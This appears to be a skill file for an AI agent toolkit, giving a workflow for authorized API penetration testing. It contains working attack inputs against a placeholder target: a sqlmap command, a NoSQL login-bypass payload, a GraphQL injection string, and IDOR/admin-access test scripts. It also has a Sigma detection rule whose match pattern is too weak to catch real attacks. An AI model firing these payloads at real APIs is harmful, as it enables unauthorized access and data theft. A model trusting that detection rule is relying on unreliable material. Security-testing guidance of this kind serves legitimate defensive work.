<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: performing-api-penetration-testing
description: >-
  Conduct comprehensive API penetration testing covering REST, GraphQL, and
  gRPC endpoints including authentication bypass, authorization flaws, injection
  attacks, rate limiting evasion, and business logic abuse.
domain: cybersecurity
subdomain: security-testing
tags:
  - api-security
  - penetration-testing
  - rest
  - graphql
  - owasp-api
  - authorization
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1059", "T1078"]
  tools: ["python3", "burp-suite", "postman", "nuclei", "ffuf", "graphql-cop"]
---

# Performing API Penetration Testing

## Overview

API penetration testing targets the programmatic interfaces that power modern
applications. APIs expose unique attack surface including broken authentication,
excessive data exposure, lack of rate limiting, and mass assignment
vulnerabilities as defined by the OWASP API Security Top 10.

## Prerequisites

| Requirement | Details |
|---|---|
| API documentation (OpenAPI/Swagger, GraphQL schema) or discovery tools | Required |
| Authentication credentials for multiple privilege levels | Required |
| Written authorization and scope definition | Required |
| Tools | Burp Suite, Postman, ffuf, nuclei |

## Key Concepts

- **BOLA (IDOR)**: Broken Object Level Authorization — access other users' objects
- **BFLA**: Broken Function Level Authorization — access admin functions as user
- **Mass assignment**: Modify unintended fields via API request body
- **Excessive data exposure**: API returns more data than client needs
- **Rate limiting**: Absence enables brute force and DoS

## Workflow

### Step 1: API Discovery and Mapping

```bash
# Discover OpenAPI/Swagger endpoints
ffuf -u https://api.target.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,301,403 -o api_discovery.json

# GraphQL introspection
curl -s -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name fields{name type{name}}}}}"}'

# Import OpenAPI spec to Burp/Postman
# Download: https://api.target.com/docs/openapi.json
```

### Step 2: Authentication and Authorization Testing

```python
import requests

def test_bola(base_url: str, token: str, resource_ids: list[str]) -> list[dict]:
    """Test Broken Object Level Authorization (IDOR)."""
    findings = []
    for rid in resource_ids:
        resp = requests.get(
            f"{base_url}/api/v1/users/{rid}/profile",
            headers={"Authorization": f"Bearer {token}"},
        )
        if resp.status_code == 200:
            findings.append({
                "type": "BOLA",
                "endpoint": f"/api/v1/users/{rid}/profile",
                "status": resp.status_code,
                "severity": "critical",
            })
    return findings

def test_bfla(base_url: str, user_token: str) -> list[dict]:
    """Test Broken Function Level Authorization."""
    admin_endpoints = ["/api/v1/admin/users", "/api/v1/admin/config", "/api/v1/admin/logs"]
    findings = []
    for ep in admin_endpoints:
        resp = requests.get(
            f"{base_url}{ep}",
            headers={"Authorization": f"Bearer {user_token}"},
        )
        if resp.status_code != 403:
            findings.append({
                "type": "BFLA", "endpoint": ep,
                "status": resp.status_code, "severity": "critical",
            })
    return findings
```

### Step 3: Injection and Input Validation

```bash
# SQL injection via API parameters
sqlmap -u "https://api.target.com/api/v1/search?q=test" \
  --headers="Authorization: Bearer TOKEN" --batch --level 3

# NoSQL injection
curl -s -X POST https://api.target.com/api/v1/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": ""}, "password": {"$ne": ""}}'

# GraphQL injection
curl -s -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{user(id: \"1 OR 1=1\") {id email}}"}'
```

### Step 4: Document and Report

```bash
node agent.js scan --target https://api.target.com --spec openapi.json
node agent.js test-auth --target https://api.target.com --token user_token.txt
node agent.js report --findings findings.json --format markdown
```

## Detection

```yaml
title: Api Penetration Testing Detection
id: 8821a89d-1fd9-4791-847f-919e12fe1950
status: experimental
description: Detects suspicious activity related to performing api penetration testing techniques in security testing context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*api*"
  condition: selection
level: medium
tags:
  - attack.t1190
  - attack.t1059
  - attack.t1078
  - attack.discovery
falsepositives:
  - Authorized security testing tools during scheduled assessment windows
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Api Penetration Testing Detection | windows/process_creation | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1190, T1059, T1078 |

## Verification

- [ ] All OWASP API Top 10 categories tested
- [ ] Authentication bypass attempts documented
- [ ] Authorization matrix validated across roles
- [ ] Rate limiting assessed on sensitive endpoints
- [ ] Evidence collected with request/response pairs

## References

- [OWASP API Security Top 10](https://owasp.org/API-Security/)
- [MITRE ATT&CK — T1190](https://attack.mitre.org/techniques/T1190/)
- [PortSwigger API Testing](https://portswigger.net/web-security/api-testing)
